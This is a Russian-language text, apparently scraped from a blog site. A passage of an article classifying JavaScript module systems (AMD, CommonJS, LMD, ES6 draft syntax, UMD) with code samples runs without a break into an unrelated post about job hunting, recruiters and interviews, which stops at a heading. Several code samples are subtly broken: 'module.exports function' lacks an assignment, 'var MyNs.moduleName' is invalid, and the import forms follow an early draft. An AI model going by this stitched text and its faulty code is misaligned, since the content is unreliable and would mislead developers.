
Выводы

Сегодня, можно сказать, JavaScript не имеет устоявшейся модульной системы есть только эмуляторы модульности, однако у вас есть возможность использовать синтаксис ES6 Modules и компилировать ваши модули в CJS и AMD. В JavaScript своя атмосфера, много ограничений(сетевые тормоза, трафик, лаги), которые не позволяют использовать привычные многим импорты. Проблема сборки и асинхронной загрузки так или иначе решена в популярных эмуляторах модульности, но как ее будут решать разработчики ES6 — вопрос.

Матчасть


Если вы осилили мой модульный путь, то, я думаю, вам будет интересна моя небольшая модульная классификация.

Я классифицировал существующие JavaScript «модули» и их инфраструктуру по особенностям. Классификация учитывает многие особенности. Давайте рассмотрим классификацию модулей, а потом уже отдельные модульные системы.

  • Разрешение зависимостей
    • Ручное управление
    • Зависимости прописываются в конфиге
    • Зависимости прописываются в самом модуле
    • Зависимости прописываются в модуле и в конфиге

  • Доступ к зависимостям
    • Произвольный
    • Динамический
    • Декларативный

  • Экспортирование из модуля
    • Хаотичный экспорт
    • Не управляемый экспорт со строгим именем
    • «Самоэкспорт» со строгим именем
    • Управляемый экспорт с произвольным именем
    • Честный import/export

  • Сбока модулей
    • Без сборки
    • Конкатенация файлов по маске
    • Препроцессинг
    • Статический анализ зависимостей
    • Сборка из конфига

  • Инициализация и интерпретация модуля
    • Инициализируется и интерпретируется при старте
    • Инициализируется при старте, интерпретируется по требованию
    • Инициализируется и интерпретируется по требованию

  • Загрузка внешних зависимостей
    • Загрузчик неуправляемого модуля
    • Загрузчик «управляемого» модуля

  • Изоляция модулей
    • Модули не изолированы
    • Модули изолированы
    • Модули тотально изолированы


Разрешение зависимостей

Каким образом сборочный инструмент или разработчик определяет какие зависимости нужно подключить/инициализировать для нормальной работы данного модуля. У зависимостей, в свою очередь, так же могут быть зависимости.

Разрешение зависимостей. Ручное управление

Управление зависимостями на плечах разработчика. Разработчик аналитически понимает какие зависимости нужно подключить.
<script src="deps/dep1.js"/>
<script src="deps/dep2.js"/>
<script src="moduleName.js"/>

И соответственно в main.js
var moduleName = function () {
    return dep1 + dep2;
};

Никаких сторонних библиотек не нужно использовать
Когда модулей не много и они все свои — это ок
Когда модулей много такой код невозможно поддерживать
Несколько файлов = несколько запросов на сервер

Подходит для «быстро накодить».

Разрешение зависимостей. Зависимости прописываются в конфиге

Зависимости прописываются во внешнем конфиге и могут наследоваться. Используя данный конфиг какой-то сборочный инструмент загружает/подключает зависимости данного модуля. Конфиг может быть написан как для конкретного модуля так и для всего проекта.

Такой конфиг используется в LMD
{
    "modules": {
        "main": "moduleName.js"
        "<%= file %>": "deps/*.js"
    }
}

И соответственно в main.js
var dep1 = require('dep1'),
    dep2 = require('dep2');

module.exports function () {
    return dep1 + dep2;
};

Модули не завязываются на файловую систему (можно дать любое имя любому файлу)
Без изменения имени модуля можно изменить его содержимое
Нужно писать такой конфиг
Нужен дополнительный инструмент/библиотека

Разрешение зависимостей. Зависимости прописываются в самом модуле

В самом файле декларируются зависимости, пути до файла и то как они будут называться во время работы. Модуль фактически определяет любые ресурсы необходимые для работы, а загрузчик предоставляет их. Пока зависимости и зависимости зависимостей не загружены модуль не начнет свою работу.

Такой способ использует AMD (RequireJS)
require(['deps/dep1', 'deps/dep2'], function (dep1, dep2) {
    return function () {
        return dep1 + dep2;
    };
});

Если зависимостей у одного модуля очень много, то такой синтаксис как правило деградируют до CommonJS define либо используют всякие извращения.

Извращения
require(['deps/dep1', 'deps/dep2', 'deps/dep3', 'deps/dep4', 'deps/dep5', 'deps/dep6', 'deps/dep7'],
function (    dep1,        dep2,        dep3,        dep4,        dep5,        dep6,        dep7) {
    return function () {
        return dep1 + dep2;
    };
});

Деградация до CommonJS define
define(function (require, module, exports) {
    var dep1 = require('dep1'),
        dep2 = require('dep2'),
        dep3 = require('dep3'),
        dep4 = require('dep4'),
        dep5 = require('dep5'),
        dep6 = require('dep6'),
        dep7 = require('dep7');

    return function () {
        return dep1 + dep2;
    };
});

При использовании такой деградации RequireJS ищет зависимости регулярками. Это на 95% надежный способ. Честный же способ (AST или хитрый процессинг) потребляет слишком много ресурсов (объем кода и время процессинга), но так же не покрывает всех потребностей.

Бывают случаи когда необходимо так же написать конфиг, чтобы, например, адаптировать какой-то старый модуль, который не умеет define или если какой-то «честный модуль» инициализируется динамически — require('templates/' + type) и его не может найти регулярка. Динамическая инициализация это редкая штука и в основном используется для динамической загрузки шаблонов, но не исключена.

Практически все зависимости описываются в самом файле
Конфиги асинхронно загружаются
Не нужно писать конфиг
Но иногда приходится его все-таки писать конфиг
Нужен дополнительный инструмент/библиотека

Разрешение зависимостей. Зависимости прописываются в модуле и в конфиге

Зависимости прописываются с самом файле и в специальном конфиге.

Конфиг используется любым менеджером пакетов для устранения зависимостей. Например npm и package.json
{
    "dependencies": {
        "express": "3.x",
        "colors": "*"
    }
}

И соответственно main.js
// Внешний модуль
var express = require('express');

// Локальный модуль
var dep1 = require('./deps/dep1'),
    dep2 = require('./deps/dep2');

module.exports function () {
    return dep1 + dep2;
};

Разработчик определяет список зависимостей и их версии. Менеджер пакетов загружает модули и их зависимости. Тут, в принципе, без вариантов тк менеджер ничего не знает о модуле. package.json для менеджера единственный интерфейс взаимодействия. В свою очередь каждый модуль может загружать свои части напрямую из файловой системы require('pewpew.js')

Если использовать такой подход для браузера, то выходят такие плюсы и минусы

Все зависимости описываются в самом файле
Возможно управление версиями внешних зависимостей
Такой модуль можно без проблем использовать как на сервере так и на клиенте
Нужен дополнительный инструмент/библиотека для сборки, например browserify

Доступ к зависимостям

Определяет каким образом модуль использует зависимости внутри себя, как получает доступ к необходимому модулю.

Доступ к зависимостям. Произвольный

Все модули лежат открыто в глобальной области видимости или в неймспэйсе. Каждый модуль может без каких-либо ограничений в любом месте получить доступ к любой части приложения любым способом.
var dep1 = 1;
var dep2 = 2;

alert(dep1 + dep2);

Если модулей не много и они не большие, то это ок
Если модулей много, то такой код невозможно поддерживать
Нельзя не глаз определить зависимости модуля (нужно искать имена глобальных переменных или неймспейс)

Доступ к зависимостям. Динамический

Доступ к модулю можно получить только через «загрузчик» — require() или объявив зависимости модуля через define()

Такой способ используется в большинстве популярных библиотек, когда в «замыкание модуля» пробрасывается функция require через которую модуль и может получать доступ к другим модулям. Так же эта функция может быть доступна глобально.
var dep1 = require('./deps/dep1'),
    dep2 = require('./deps/dep2');

alert(dep1 + dep2);

Соответственно способ с define()
require(['./deps/dep1', './deps/dep2'], function (dep1, dep2) {
    alert(dep1 + dep2);
});

Легко понять/найти зависимости
Доступ к зависимостям модерируется, можно лениво инициализировать модуль, вычислять runtime-зависимости и прочее
Можно статически определить почти весь граф зависимостей
Код немного Verbose, но это хорошая плата за поддерживаемость
Нужна дополнительная библиотека

Доступ к зависимостям. Декларативный

Модули декларируется при написании кода и не загружаются динамически. Статический анализатор кода может однозначно понять какой набор модулей необходим для работы приложения. Так работают практически все конструкции import.
import * from "dep1";
import * from "dep2";

Так же под такой способ доступа к зависимостям можно отнести и статический AMD define()
define('module', ['./deps/dep1', './deps/dep2'], function (dep1, dep2) {

});

Статический импорт позволяет сборщикам собирать зависимости, а трансляторам ES6 Modules переделывать код в ES3-совместимый.

Возможен статический анализ (полный или частичный)
Возможна трансляция ES6 Modules
В чистом виде редко применимо

Экспортирование из модуля

Чаще всего модули предоставляют какие-то ресурсы, которыми могут пользоваться другие модули. Это могут быть данные, утилиты (формат дат, чисел, i18n и пр). Экспортирование из модуля определяет каким образом модуль говорит «я предоставляю такие-то ресурсы».

Экспортирование. Хаотичный экспорт

Модуль экспортирует что угодно, куда угодно, когда угодно
var a = 10,
    b = '';

for (var i = 0; i < a; i++) {
    b += i;
}

var dep1 = b;

Засорение глобальной области видимости
Ад и кошмар, при любом раскладе такое не поддерживается в принципе

Экспортирование. Не управляемый экспорт со строгим именем

Если немного модифицировать предыдущий способ, добавив IIFE, то мы получим данный способ. Модуль заранее знает где он будет лежать и как будет называться.
var dep1 = (function () {
    var a = 10,
        b = '';

    for (var i = 0; i < a; i++) {
        b += i;
    }

    return b;
})();

Или же немного другой вариант
(function () {
    var a = 10,
        b = '';

    for (var i = 0; i < a; i++) {
        b += i;
    }

    exports.dep1 = b;
})(exports);

Или именованный AMD
define('dep1', [], function () {
    var a = 10,
        b = '';

    for (var i = 0; i < a; i++) {
        b += i;
    }

    return b;
});

Это просто
Не нужны особые инструменты для сборки и использования таких модулей (кроме AMD)
Экспортируется только нужное
Модуль знает куда он экспортируется и какое имя у него будет

Экспортирование. «Самоэкспорт» со строгим именем

В основе этого способа лежит специальная функция «регистрации модуля» ready(), которую должен вызвать модуль, когда он готов. Она принимает 2 аргумента — имя модуля и ресурсы, которые он предоставляет.
(function () {
    var a = 10,
        b = '';

    for (var i = 0; i < a; i++) {
        b += i;
    }

    ready('dep1', b);
})();

Для загрузки зависимостей такого модуля используется функция load(), похожая на require()
load('dep1', 'dep2', function (dep1, dep2) {
    ready('dep3', function () {
        return dep1 + dep2;
    });
});

load('dep3', do.stuff);

Модуль экспортируется асинхронно и может отложить свой экспорт
Модуль не знает где будет лежать
Модуль экспортируется сам (модуль подчиняет тот модуль, который его использует)
Модуль знает свое имя и может менять его динамически
Модуль может зарегистрировать несколько модулей
Нужна специальная библиотека

Экспортирование. Управляемый экспорт с произвольным именем

Модуль не знает ни своего имени ни где он будет лежать. Потребитель модуля сам определяет как будет называться данный модуль в контексте потребителя.

Это CommonJS модуль
var a = 10,
    b = '';

for (var i = 0; i < a; i++) {
    b += i;
}

module.exports = b;

или анонимный AMD
define([], function () {
    var a = 10,
        b = '';

    for (var i = 0; i < a; i++) {
        b += i;
    }

    return b;
});

Мы можем использовать любое имя во время экспорта модуля.
var dep1 = require('deps/dep1');

Модуль не знает ни где он лежит ни как он будет называться при использовании
При переименовании модуля нужно переименовать только файл
Нужна библиотека для сборки и использования

Экспортирование. Честный import/export

Такой способ декларации модулей использует каждый второй язык программирования. Достаточно давно появилась спецификация ECMAScript 6 Modules, поэтому рано или поздно такой синтаксис придет и в JavaScript.

Декларируем модуль.
module "deps" {
    var a = 10,
        b = '';

    for (var i = 0; i < a; i++) {
        b += i;
    }

    export var dep1 = b;
    export var dep2 = b + 1;
}

Так же можно декларировать модуль без обвязки module {}.

Можно использовать имена по умолчанию и писать меньше
import * from "deps";

console.log(dep1);

Можно избежать конфликты имен, используя своеобразное «пространство имен»
import "crypto" as ns;

console.log(ns.dep1);

Можно экспортировать часть модуля
import {dep1} from "deps";

console.log(dep1);

Знакомые импорты из многих языков — привычно и наглядно
Это ECMAScript 6
Нужно транслировать ES6 модуль в ES3-совместимый код, например использовать модули из TypeScript

Сбока модулей

Сегодня собирается практически все и модули в том числе. Даже если вы не используете CoffeeScript и AMD, то вы в любом случае собираете ваш проект: конкатенируете файлы, сжимаете их.

Без сборки

Все в HTML
<script src="deps/dep1.js"/>
<script src="deps/dep2.js"/>
<script src="moduleName.js"/>

Это просто
При увеличение количества модулей приложение перестает быть поддерживаемым и начинает тормозить из-за увеличения числа запросов
Смешение сущностей HTML и декларация модуля
Новая сборка — новый .html

Сборка модулей. Конкатенация файлов по маске

Собираем
$ cat **/*.js > build.js

Используем
<script src="build.js"/>

Это достаточно просто
Загружается только 1 файл
Для каждого типа сборки нужно создавать новые скрипты
Файлы могут собираться в произвольном порядке в разных OS и FS

Сборка модулей. Препроцессинг

Способ заключается в поиске специальных «меток» в файлах — include('path/name.js') или // include path/name.js и подобных
include('deps/dep1.js');
include('deps/dep2.js');

var moduleName = function () {
    return dep1 + dep2;
};

Все это разворачивается специальной утилитой в такой формат.
/* start of deps/dep1.js */
var dep1 = 1;
/* end of deps/dep1.js */

/* start of deps/dep2.js */
var dep2 = 2;
/* end of deps/dep2.js */

var moduleName = function () {
    return dep1 + dep2;
};

Соответственно у вложенных модулей могут быть еще зависимости и они также будут загружены рекурсивно.

Собирается только 1 файл
Можно сделать какое-никакое «наследование конфигов»
Для каждого типа сборки нужно создавать новый файл с перечислением всех include
Если препроцессор глупый то возможен дубликат кода и другие артефакты
При неправильном использовании возможна инъекция кода в модуль

Инъекция кода в модуль ведет к нарушению целостности модуля, влечет проблемы с "use strict", конфликтом имен и прочим неприятностям.

Вот типичный пример
(function () {
    "use strict";
    var i = 3;
    include('dep1'); // Не корректное подключение зависимости
    return dep1 + i;
})();

И его зависимость
var i = 4,
    dep = 01234;

Думаю, вы поняли последствия ;-)

Сборка модулей. Статический анализ зависимостей

Статический анализ контента модуля с поиском зависимостей. Такой способ использует r.js (сборщик RequireJS модулей) и browserify (адаптор CommonJS модулей и Node.js инфраструктуры под браузер). Они используют AST парсер, ищут вызовы define/require и таким образом находят зависимости и в отличии от include помещают эти зависимости вне модуля.

Например вот такой модуль
require(['dep1', 'dep2'], function (dep1, dep2) {
    return function () {
        return dep1 + dep2;
    };
});

если его прогнать через r.js будет переделан вот в такой вид
define('dep1', [], function () {
    return 1;
});

define('dep2', [], function () {
    return 2;
});

require(['dep1', 'dep2'], function (dep1, dep2) {
    return function () {
        return dep1 + dep2;
    };
});

browserify ведет себя подобным образом, но собирает в формат посложнее

Собирается только 1 файл
Все зависимости прописаны в самом модуле
Для каждого типа сборки нужно создавать новый файл или делать магию с симлинками
Препроцессор может не найти некоторые зависимости (Динамически конструируемые имена модулей)
Для исправления предыдущего пункта нужно писать конфиг, чтобы включить эти модули

Сбока модулей. Сборка из конфига

Тут достаточно все очевидно. В конфиге написаны какие модули нужны. Сборщик их включает в сборку и находит зависимости. Затем результат сборки проверяется статически анализатором, который советует что-то добавить или что-то убрать.

Такой способ использует LMD.
{
	"root": "../js",
    "modules": {
        "main": "main.js",
        "dep1": "deps/dep1.js",
        "dep2": "deps/dep2.js"
    }
}

Вариант, конечно, интересный, но зачем 2 раза писать одно и то же и в модуле и в конфиге?!

Это легко объясняется. LMD не знает о файловой системе, и конфиг фактически является абстрактной файловой системой. Это позволяет не задумываться об относительных путях и во время переноса/переименования модуля не бегать и не менять пути по всему проекту. Используя абстрактную ФС становится возможным получить дешевую Dependency Injection для локализации, подмены конфигов среды и прочих оптимизаций. Еще бывает так, что модули подключаются динамически и статический анализатор не может их найти физически, поэтому приходится вносить запись о модуле в конфиг. Понятно, что прописывать каждый раз модуль в конфиг это шаг назад, поэтому в LMD имеется возможность подключать целые директории с сабдиректориями, используя glob-инг и своеобразный rewrite rule.

Вот этот конфиг идентичен предыдущему
{
    "root": "../js",
    "modules": {
        "<%= file %>": "**/*.js"
    }
}

Вы определяете какие файлы нужны, а потом пишете шаблон и тем самым говорите как их нужно представить этот модуль LMD. Для определения имени LMD использует шаблонизатор из lodash, поэтому можно писать и более хитрые конструкции:
{
	"root": "../js",
    "modules": {
        "<%= file %><%= dir[0][0].toUpperCase() %><%= dir[0].slice(1, -1) %>": "{controllers,models,views}/*.js"
    }
}

Итоги этого способа такие:

Наглядно — все дерево проекта можно описать в одном файле
Надежно — исключены ошибки анализатора
Абстрактная файловая система
Нужно писать конфиг
Нужен сборщик

Инициализация и интерпретация модуля

Это достаточно важный момент, который позволяет сократить лаг при старте приложения, когда выполняется куча кода. Когда код попадает на страницу он инициализируется (написали функцию — она зарегистрировалась под каким-то именем) при инициализации код парсится, валидируется и перегоняется в AST для дальнейшей интерпретации и возможной JIT компиляции. Когда какая-либо функция вызывается ее код интерпретируется.

Функция не инициализирована и не интерпретирована. Инициализируется только JavaScript строка.
'function a() {return Math.PI;}';

Функция инициализирована.
function a() {
	return Math.PI;
}

Функция инициализирована и интерпретирована.
function a() {
	return Math.PI;
}

a();

Каждая декларация функции и ее вызов занимает какое-то время, особенно на мобильных, поэтому хорошо бы уменьшить это время.

Инициализируется и интерпретируется при старте

Модуль поставляется как есть и выполняется при старте программы. Даже если он нам не нужен прям сейчас. Как видите в модуле есть какие-то циклы, которые могут замедлить работу.
var dep1 = (function () {
    var a = 10,
        b = '';

    for (var i = 0; i < a; i++) {
        b += i;
    }

    return b;
})();

Не нужно использовать дополнительные средства
Если код не большой, то время инициализации не существенно
При увеличении объема кода начинает проявляться Startup Latency

Инициализируется при старте, интерпретируется по требованию

Достаточно популярный сейчас способ, который используют и AMD и модули в Node.js
define('dep1', [], function () {
    var a = 10,
        b = '';

    for (var i = 0; i < a; i++) {
        b += i;
    }

    return b;
});

Этот модуль будет инициализирован при старте. Но его тело будет выполнено по требованию, а результат return b; закэширован и при следующем вызове интерпретация проходить не будет.

Не нужно особо сильно менять вид модуля
Startup Latency существенно сокращается при большом объема кода
Нужна дополнительная библиотека

Инициализируется и интерпретируется по требованию

Небольшая модификация предыдущего метода, позволяющая отложить инициализацию кода. Используется, в основном, для оптимизации загрузки кода на мобильных устройствах. Такую оптимизацию можно сделать для RequireJS и для LMD.

Кусок сборки LMD (не конфиг)
{
	'dep1': '(function(){var a=10,b="";for(var i=0;i<a;i++){b+=i;}return b;})'
}

Когда какой-то модуль потребует ресурсы модуля dep1, то LMD интерпретирует и инициализирует этот код.

Примерно вот так так:
var resources = new Function('return ' + modules['dep1'])()(require, module, exports);

Время инициализиции кода через new Function может быть немного медленнее, чем через честную инициализацию, но если такую оптимизацию применять с умом, то мы можем выиграть время при старте. Порожденный код через new Function, в отличии от eval(), может быть оптимизирован JIT-компилятором.

Эта операция прозрачна для разработчика
Нужна дополнительная библиотека
Нужно правильно применять

Загрузка внешних зависимостей

Как я уже сказал, в JavaScript@DOM своя атмосфера, поэтому привычные способы загрузки модулей тут не работают. Модули лежат удаленно и их синхронная загрузка не реальна. Если в десктопном приложении мы можем синхронно прилинковать библиотеку «со скоростью света», то в JavaScript@DOM такое вряд-ли реально из-за блокировки EventLoop.

Загружать все сразу мы так же не можем, поэтому приходится что-то придумывать и страдать :)

Загрузчик неуправляемого модуля

Под неупровляемым модулем я понимаю просто любой код, который не требует какой-то дополнительной обработки. Таким загрузчиком, например, является jQuery.getScript(file)

Делает он примерно следующее:
var script = document.createElement('script');
script.src = file;
script.onload = done;
document.head.appendChild(script);

Если загружать несколько модулей одновременно, то выполнятся они в порядке загрузки. Бывает так, что нужно выполнить модули в порядке их перечисления. Библиотека LAB.js, например, использует XHR для одновременной загрузки кода скриптов, а потом выполняет этот код последовательно. XHR, в свою очередь, вносит свои ограничения.
$LAB
.script("framework.js").wait()
.script("plugin.framework.js");

Остальные загрузчики, вроде YepNope и script.js делаю примертно то же самое.

Дешевое решение
Могут быть ограничения со стороны XHR или дополнительной писанины

Загрузчик «управляемого» модуля

Любая взрослая модульная система поставляется с собственным загрузчиком и может загружать любые модули и их зависимости. Например, это делает функция require() и define() из RequireJS.

Функция require() из RequireJS загрузит необходимые зависимости и зависимости зависимостей и выполнит код этих модулей в указанном порядке.
require(['dep1', 'dep2'], function (dep1, dep2) {
    console.log(dep1 + dep2);
});

В LMD, например, есть такое понятие как бандл — несколько модулей, собранных в один файл. При загрузке этого бандла все его модули становятся доступны любому модулю.
_e4fg43a({
	'dep1': function () {
		return 1;
	},

	'dep2': 2,

	'string': 'Hello, <%= name %>!'
});

require.bundle('name').then(function () {
	// do stuff
});

Управление как загрузкой модулей так и их инициализацией
Практически прозрачная для разработчика загрузка
Требует дополнительных инструментов и конфигурации

Изоляция модулей

Защищенность модулей или их изоляция нужна, скорее для разработчиков, чем для тех, кто ломает их труды. Прямой и хаотичный доступ к свойствам модулей может при неправильном использовании «испортить код». С другой стороны если в глобальной области видимости нет следов вашего JavaScript, то исследователю вашего кода будет сложнее понять и «сломать» что-то, но тут больше вопрос времени.

Модули не изолированы

Модуль или какие-то его части доступны глобально, любой разработчик из любого места может взять и использовать.
var dep1 = (function () {
    var a = 10,
        b = '';

    for (var i = 0; i < a; i++) {
        b += i;
    }

    return b;
})();

Опять же это просто
Не нужны инструменты
Нужно задумывать о пространствах имен
Нет разделения труда у модуля. Он и делает свое дело он же и управляет получением зависимостей

Модули изолированы

Модуль не доступен глобально, но его можно получить зная имя — require('pewpew'). Скрытие, как я уже сказал, это не цель модульной системы, а следствие. В AMD есть 2 функции с помощью которых можно так или иначе получить доступ к модулю — это require() и define(). Достаточно только знать кодовое имя модуля, чтобы получить его ресурсы.
define('dep3', ['dep1', 'dep2'], function (dep1, dep2) {
    return function () {
    	return dep1 + dep2;
    };
});

Модули изолированы от других модулей и нельзя слуайно что-то испортить
Доступ к другому модулю декларируется явно
Нужны специальные библиотеки для работы с такими модулями

Модули тотально изолированы

Цель таких модулей сделать так, чтобы нельзя было достучаться до модуля извне. Думаю, многие уже видели такие «модули», вот, например:
$(function () {
	var dep1 = (function () {
		var a = 10,
			b = '';

		for (var i = 0; i < a; i++) {
			b += i;
		}

		return b;
	})();

	$('button').click(function () {
		console.log(dep1);
	});
});

Фактически это тотально изолированный модуль, до его внутренностей нельзя достучаться извне. Но это пример одного модуля. Если каждый такой модуль оборачивать в «замыкание», то они не смогут взаимодействовать. Для изоляции нескольких модулей их можно поместить в общую область видимости или прокидывать в их области видимости какие-то общие ресурсы. С помощью этих ресурсов такие модули смогут общаться друг с другом.

Достаточно обернуть такие модули в IEFE:
(function () {
/* start of deps/dep1.js */
var dep1 = 1;

/* start of deps/dep2.js */
var dep2 = 2;

var moduleName = function () {
    return dep1 + dep2;
};
})();

Такой способ сборки использует, например, jQuery.

LMD и browserify так же тотально изолируют модули от окружающей среды, но в отличии от сборки «все-в-одном» их модули изолируются от друг друга и от «управляющей части» сборки.

Собираются они примерно вот в такую структуру:
(function (main, modules) {
	function lmd_require() {}
	// ...
	main(lmd_require);
})
(function (require) {
	var dep1 = require('dep1');
	// ...
}, {
	dep1: function (r,m,e) {}
});

В простом случае тотальной изоляции можно легко добиться
Для остальных случаев нужны дополнительные инструменты

Сравнительная таблица популярных эмуляторов модулей в JavaScript


AMD,YUI ES6 CJS/LMD IEFE
Разрешение зависимостей В модуле+конфиг В модуле В конфиге Ручное
Доступ к зависимостям Динамический Декларативный Динамический Произвольный
Экспорт С произвольныйм именем Честный import/export С произвольныйм именем Хаотичный/Неуправляемый
Сбока модулей Статический анализ Не нужна/Конкатенация Сборка из конфига Конкатенация
Интерпретация модуля По требованию Нативное решение По требованию При старте
Изоляция модулей Изолированы Изолированы Тотально изолированы Не изолированы

Распостраненные форматы модулей


И напоследок немного справочной информации по существующим сегодня «эмуляторам» модульности в JavaScript.

No module

var moduleName = function () {
    return dep1 + dep2;
};

Namespace

var MyNs.moduleName = function () {
    return MyNs.dep1 + MyNs.dep2;
};

IIFE return

var moduleName = (function (dep1, dep2) {
    return function () {
        return dep1 + dep2;
    };
}(dep1, dep2));

IIFE exports

(function (exports, dep1, dep2) {
    exports.moduleName = function () {
        return dep1 + dep2;
    };
}(window, dep1, dep2));

AMD

YUI модули семнтически схожи с AMD. Не буду их демонстрировать.
define(["dep1", "dep2"], function (dep1, dep2) {
    return function () {
        return dep1 + dep2;
    };
});

AMD обертка для CommonJS

define(function (require, module, exports) {
    var dep1 = require('dep1'),
        dep2 = require('dep2');

    module.exports = function () {
        return dep1 + dep2;
    };
});

CommonJS

var dep1 = require('dep1'),
    dep2 = require('dep2');

module.exports = function () {
    return dep1 + dep2;
};

UMD

Видно, что сейчас есть минимум 3 формата модулей, которые нужно поддерживать. Одно дело если вы пишете свой проект и можете писать на чем угодно. Другое же дело Open-Source проекты в которых хорошо бы поддерживать все форматы. Все эти модули это всего лишь разные обертки, которые по сути делают одно и то же — забирают ресурсы и предоставляют ресурсы. Не так давно появился проект UMD: Universal Module Definition, который «стандартизировал» универсальную обертку под все форматы.
(function (root, factory) {
    if (typeof exports === 'object') {
        // Формат 1: CommonJS
        factory(exports, require('dep1'), require('dep2'));
    } else if (typeof define === 'function' && define.amd) {
        // Формат 2: AMD (анонимный модуль)
        define(['exports', 'dep1', 'dep2'], factory);
    } else {
        // Формат 3: Экспорт в глобалы
        factory(window, root.dep1, root.dep2);
    }
})(this, function (exports, dep1, dep2) {

    // Экспортируем
    exports.moduleName = function () {
        return dep1 + dep2;
    };
});

Понятно, что в разработке такое использовать как-то странно, но на «экспорт» самое то.

Почитать


  1. JavaScript Module Pattern: In-Depth
  2. Creating YUI Modules
  3. Writing Modular JavaScript With AMD, CommonJS & ES Harmony
  4. Why AMD?
  5. AMD is Not the Answer
  6. Why not AMD?
  7. Proposal ES6 Modules
  8. Playing with ECMAScript.Harmony Modules using Traceur
  9. Author In ES6, Transpile To ES5 As A Build-step: A Workflow For Grunt

Ошибки и опечатки шлите, пожалуйста, в ЛС.
Какие модули вы используете в браузерном JavaScript?

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Проголосовало 518 человек. Воздержалось 174 человека.

Ни для кого не секрет, что программисты сейчас востребованы, и найти работу программисту с опытом не составляет труда. Спрос нынче больше предложения.
В этом посте я хочу описать свой опыт и наблюдения, которые я сделал после прохождения нескольких собеседований. Буду рад, если его прочитают не только соискатели, но и работодатели.

Небольшой дискламмер. Я программист и пишу с точки зрения программиста. Я сейчас не ищу работу. Я не представляю и не рекламирую ни одну из компаний, упомянутых в этом посте. Я получил оффер примерно от 6 из 9 компаний, где проходил собеседование. Я не вижу ничего плохого в том, чтобы открыто писать названия некоторых компаний, потому что они сами не делают тайны из своей деятельности и открыто публикуют свои вакансии. От моих рук ни один хедхантер не пострадал.

После нескольких лет работы программистом в офисе, я получил какой-то опыт, знания и желание попробовать себя в некоторых смежных ролях — тимлида или старшего разработчика. Это было не обязательное условие — я был не против устроиться рядовым программистом в сильную команду, но было одно важное условие: проект должен был быть мне интересен и приносить пользу людям. Но не об этом речь в данном посте, а про собственно процесс поиска работы.

Вот у нас есть резюме на hh.ru и/или профиль на Моём Круге, где мы описали технологии, с которыми работали и некоторый наш опыт. Мы указали в резюме, что сейчас ищем работу и сами заодно с интересом просматриваем вакансии.

Рекрутинговые агентства


Первое, с чем мы сталкиваемся, — это хедхантеры. Бич IT-современности. Они налетают на вас как мухи на говно — ведь за каждого устроенного соискателя они получают очень солидные деньги. И ладно бы была от них какая-то польза, но по факту 95% процентов из них своих денег не стоят и вместо пользы приносят только вред.

Уважаемые работодатели, прошу, умоляю вас, не пользуйтесь услугами этих сомнительных контор вообще, или хотя бы ищите достойную контору. Если у вас есть такая возможность, выделите часть времени вашего программиста или тимлида для собеседования соискателей.

Большинство таких хедхантеров имеют следующие особенности:
  • они в принципе не владеют предметной областью программирования;
  • они очень расплывчато представляют, что нужно компании от вас;
  • они вообще не представляют, чем занимается компания, и о чём, собственно, проект, на который вас приглашают.

При этом они:
  • зачастую не дают даже текст вакансии или дают его в общем виде (только требования);
  • не говорят название компании и её адрес, потому что боятся, что вы туда устроитесь мимо них.

Уважаемые работодатели, если вы пропустили прошлый мой абзац-просьбу к вам, то прошу, умоляю вас, не пользуйтесь услугами этих сомнительных контор вообще, или хотя бы ищите достойную контору. Такие конторы не только отнимают время программистов и отваживают от вас потенциальных работников, но и портят имидж вам как работодателю.

Среди множества таких горе-контор, хочу выделить одну особенную. PRUFFI. Помимо общей некомпетентности их девочек-хедхантеров в вопросах IT, я столкнулся с некоторой фамильярностью в общении со стороны нескольких их сотрудников и абсолютным пренебрежением всеми нормами человеческого общения со стороны одной из них. Она мало того, что безжалостно спамила меня своими предложениями, называя меня совершенно различными чужими именами (просто копи-паст писем), но даже более того, додумалась разослать сообщение моим друзьям вконтакте с просьбой срочно дать ей мой телефон для очень важного дела. В итоге одним утром мне позвонили несколько моих друзей с вопросом «можно ли дать какой-то странной девушке твой номер телефона?».

С многими другими вольными хедхантерами у меня чаще всего был похожий — отрицательный или «никакой» — опыт. Просто он не запомнился мне чем-то особенно ярким.

Но справедливости ради, хочу сказать, что был и положительный опыт. Было и несколько хороших хедхантеров, которые мне запомнились своей доброжелательностью (искренной, а не слащавой), высокой квалификацией и хорошим чувством юмора. Например, хедхантеры из компании «Генералист» (с ними работает «Связной»), очень подробно описали мне конкретные проекты, на которые меня приглашали. Познакомили меня с деятельностью и планами компаний, вакансии которых предлагают, настолько подробно, как будто сами в них работают, причём не на последних должностях. И, что немаловажно, областью веб-разработки владеют тоже на уровне. Знают, что Postgres и MySQL — это базы данных, и что опыт с этими технологиями может быть взаимозаменяем. Знают, какие технологии относятся к бекенду, какие к фронтенду, и задают грамотные вопросы.

Хотя знаете, я бы всё равно предпочёл общаться с представителем компании, в которую устраиваюсь, а не с рекрутинговым агентством.

Собственно, собеседования.


Уважаемые работодатели, прежде чем приглашать на собеседование, потрудитесь, пожалуйста, рассказать, кто вы вообще такие, чем занимаетесь, что вы хотите от разработчика и что готовы ему дать. Этим вы сэкономите время — своё и чужое.

На самом деле, в этой области всё намного более позитивно. Проводя тщательный отсев на уровне поиска работодателей, уже на собеседованиях мне попадались в основном позитивные люди.
Понравилось общаться с компаниями «Связной», «Имхонет», «ГдеЭтотДом» и многими другими. Чаще всего была очень продуктивная 1-2-3-часовая беседа с тимлидом или несколькими, интересная обеим сторонам. Меня не спрашивали, почему крышка люка круглая. Всё больше интересовались, чем же всё-таки абстрактный класс отличается от интерфейса :)
Иногда во время собеседования предлагали небольшие письменные тесты, чтобы было о чём говорить предметно.

Только в Ютинет/Мегаплане меня встретили не технари, а кадровики, которые предложили написать мне тест минут на 30 на каком-то огрызке стола, где также писали свои тесты курьеры и другие соискатели на разные должности. При дальнейшем общении эта компания показала себя только с лучшей стороны во всех вопросах, и я бы даже сказал, что во многом она может быть эталоном в организации и работе отделов разработки. Но первое желание у меня было предложить кадровикам засунуть этот тест себе куда-нибудь. На фоне других компаний, где тимлиды встречают нового разработчика как потенциального члена их будущей команды и помощника в решении их проблем, подход «вот тебе бумажка — сиди решай или до свидания» (при том, что сами пригласили) смотрится довольно печально.

Мой опыт, который может быть полезным соискателям


